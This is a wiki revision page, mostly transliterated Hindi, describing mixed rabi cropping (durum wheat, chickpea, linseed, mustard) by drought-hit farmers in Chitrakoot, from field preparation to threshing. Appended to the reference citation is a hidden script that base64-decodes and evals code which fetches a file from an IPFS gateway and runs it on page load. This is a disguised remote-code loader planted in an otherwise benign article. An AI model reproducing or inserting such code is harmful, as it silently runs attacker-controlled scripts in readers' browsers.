Difference between revisions of "रबी की फ़सल"
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[[अक्टूबर]] माह के अंतिम सप्ताह या [[दीपावली]] के पहले बुवाई करते हैं। इसके लिए सभी बीजों कठिया गेंहूं, देशी चना व अलसी तथा डी.ए.पी. खाद को एक साथ मिलाकर हल बांसा बांधकर बुवाई करते हैं। बुवाई के लिए एक मज़दूर भी लगाते है। अर्थात् एक मज़दूर हल को पकड़ता है तथा दूसरा बीज को बांसा में डालता जाता है तब बुवाई होती है। बीज की बुवाई 3 से 4 इंच की गहराई पर करते हैं। इसके बाद सरसों की बुवाई कूंड अर्थात् लाइन में करते हैं। लाइन से लाइन की दूरी 5 से 6 फीट की होती है। | [[अक्टूबर]] माह के अंतिम सप्ताह या [[दीपावली]] के पहले बुवाई करते हैं। इसके लिए सभी बीजों कठिया गेंहूं, देशी चना व अलसी तथा डी.ए.पी. खाद को एक साथ मिलाकर हल बांसा बांधकर बुवाई करते हैं। बुवाई के लिए एक मज़दूर भी लगाते है। अर्थात् एक मज़दूर हल को पकड़ता है तथा दूसरा बीज को बांसा में डालता जाता है तब बुवाई होती है। बीज की बुवाई 3 से 4 इंच की गहराई पर करते हैं। इसके बाद सरसों की बुवाई कूंड अर्थात् लाइन में करते हैं। लाइन से लाइन की दूरी 5 से 6 फीट की होती है। | ||
====रोग व कीट नियंत्रण==== | ====रोग व कीट नियंत्रण==== | ||
| − | शीत काल में हुई वर्षा को महावट कहते हैं। जाड़े में जब महावट अधिक होती है, तब कठिया गेहूं में खैरा रोग लग जाता है। इससे बचाव के लिए | + | शीत काल में हुई वर्षा को महावट कहते हैं। जाड़े में जब महावट अधिक होती है, तब कठिया गेहूं में खैरा रोग लग जाता है। इससे बचाव के लिए बाज़ार से म्लड्यू पाउडर लेकर राख के साथ मिलाकर छिड़काव कर देते हैं। अगर महावट एक भी नहीं होती है, तब कठिया गेंहू, देशी चना के साथ सरसों, अलसी की भी पैदावार अच्छी हो जाती है। |
====निराई व देख-रेख==== | ====निराई व देख-रेख==== | ||
फसल की बढ़वार होती रहे, इसके लिए समय-समय पर खेत की निराई-गुड़ाई की जाती है। इससे एक तरफ तो हमारा खेत साफ रहता है और दूसरी तरफ जानवरों के लिए चारा भी उपलब्ध हो जाता है। साथ ही इसी बहाने खेत की देख-रेख एवं छुट्टा पशुओं से बचाव भी होता रहता है तथा निराई-गुड़ाई करने से उपज भी अच्छी प्राप्त होती है। | फसल की बढ़वार होती रहे, इसके लिए समय-समय पर खेत की निराई-गुड़ाई की जाती है। इससे एक तरफ तो हमारा खेत साफ रहता है और दूसरी तरफ जानवरों के लिए चारा भी उपलब्ध हो जाता है। साथ ही इसी बहाने खेत की देख-रेख एवं छुट्टा पशुओं से बचाव भी होता रहता है तथा निराई-गुड़ाई करने से उपज भी अच्छी प्राप्त होती है। | ||
Revision as of 10:23, 5 July 2017
rabi ki fasal samanyatah aktoobar-navambar ke mahinoan mean boee jati haian. in phasaloan ki buaee ke samay kam tapaman tatha pakate samay khushk aur garm vatavaran ki avashyakata hoti hai. udaharan ke taur par gehooan, jau, chana, masoor, sarasoan adi ki fasalean rabi ki fasal mani jati haian.
parichay
kathiya gehooan, deshi chana, alasi v sarasoan charoan kramashah anaj, dalahan v tilahan ki phasalean haian, jo kam pani mean ho jati haian. yadi ye phasale deshi prajati ki hoan, to sookha ko sahan karane ki kshamata inake aandar adhik hoti hai. isake sath hi ye sabhi phasalean kisan ki khadyann apoorti ke lie bhi sahayak hoti haian. phasaloan ki vividhata hone se kisan ko jokhim bhi kam uthana p data hai arthath jokhim ki sanbhavana kam ho jati hai. chitrakoot sookhe buandelakhand ka ati pichh da janapad hai. any kshetroan ki tarah kam v aniyamit varsha, sianchaee ke abhav mean sookhati kheti aur badahal hota kisan chitrakoot ki bhi niyati hai. yahian ka ek gram panchayat hai- raipura, jisake aantargat tin rajasv gaanv gahora khas, gahorapahi v kairi katanasha haian. in gaanvoan ki kul abadi 5794 hai, jisamean lagabhag sabhi jatiyoan ke log nivas karate haian. mukhyatah brahman, kurmi, yadav, kumhar, gupta, lohar. badhee, sahoo, muslim, harijan, naee jatiyaan yahaan par nivas karati haian. yahaan ke logoan ki ajivika ka mukhy srot kheti haian, parantu ub d-khab d zamin evan sianchaee ke sadhanoan ke abhav ke chalate varsha adharit kheti hone ke karan pichhale 10 varshoan se sookha p dane ki sthiti mean logoan ki ajivika bhi prabhavit ho rahi hai. aisi sthiti mean gram raipura ke kuchh kisanoan ne rabi ke mausam mean mishrit kheti karake sookhe ka mukabala karane ka vichar kiya, use apanaya aur apane nukasan ko kam kiya.
taiyari
sarvapratham mah joon ke aantim saptah mean barish hone ke bad do bar khet ki jutaee karate haian tatha sitambar mean ek bar v aktoobar mean do bar jutaee karate haian. sookha kshetr hone ke karan varsh mean ek hi bar phasal ki buvaee karate haian. phasal ka chayan karate samay alag-alag lambaee ki j doan (moosala v jak da j d) vali phasal jaise- gehooan, chana, alasi, sarasoan adi ki buvaee ek sath karate haian. kyoanki kathiya gehooan ki j d do se tin ianch lambi hoti hai, chana ki j d 6 se ath ianch tak lanbi hoti hai, jabaki alasi evan sarasoan ki moosala j de char se paanch ianch tak lanbi hone ke karan paudhoan ko nirantar nami milati rahati hai aur utpadan adhik hota hai. ghar par sanrakshit v surakshit deshi bijoan ka prayog karate haian. ek ek d khet mean mishrit buvaee karane ke lie kathiya gehooan 20 kigra., deshi chana 20 kigra. alasi 6 kigra. v sarasoan 2 kigra. ko milakar buvaee karate haian.
buvaee ka samay v vidhi
aktoobar mah ke aantim saptah ya dipavali ke pahale buvaee karate haian. isake lie sabhi bijoan kathiya geanhooan, deshi chana v alasi tatha di.e.pi. khad ko ek sath milakar hal baansa baandhakar buvaee karate haian. buvaee ke lie ek mazadoor bhi lagate hai. arthath ek mazadoor hal ko pak data hai tatha doosara bij ko baansa mean dalata jata hai tab buvaee hoti hai. bij ki buvaee 3 se 4 ianch ki gaharaee par karate haian. isake bad sarasoan ki buvaee kooand arthath lain mean karate haian. lain se lain ki doori 5 se 6 phit ki hoti hai.
rog v kit niyantran
shit kal mean huee varsha ko mahavat kahate haian. ja de mean jab mahavat adhik hoti hai, tab kathiya gehooan mean khaira rog lag jata hai. isase bachav ke lie bazar se mladyoo paudar lekar rakh ke sath milakar chhi dakav kar dete haian. agar mahavat ek bhi nahian hoti hai, tab kathiya geanhoo, deshi chana ke sath sarasoan, alasi ki bhi paidavar achchhi ho jati hai.
niraee v dekh-rekh
phasal ki badhavar hoti rahe, isake lie samay-samay par khet ki niraee-gu daee ki jati hai. isase ek taraph to hamara khet saph rahata hai aur doosari taraph janavaroan ke lie chara bhi upalabdh ho jata hai. sath hi isi bahane khet ki dekh-rekh evan chhutta pashuoan se bachav bhi hota rahata hai tatha niraee-gu daee karane se upaj bhi achchhi prapt hoti hai.
kataee ka samay
phasal ki kataee pharavari ke aantim saptah se lekar march ke aantim saptah tak ho jati hai. katane ke bad phasal ko khub achchhi taras sukhate haian, tab m daee karate haian. ek ek d phasal ki m daee paanch se chhah dinoan mean hoti hai. thresar se isaki m daee nahian karate haian, kyoanki ek to chana phoot jata hai aur alasi bhoosa ke sath u d jane se kisan ka nukasan hota hai, doosare m daee se nikala bhoosa mulayam hota hai, jise pashu b de chav se khate haian. m daee karane ke bad hath se osaee karake bhoosa v anaj alag karate haian.[1]
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tika tippani aur sandarbh
- ↑ rabi rritu mean mishrit phasalean (hindi) iandiya vatar portal (hindi). abhigaman tithi: 18 janavari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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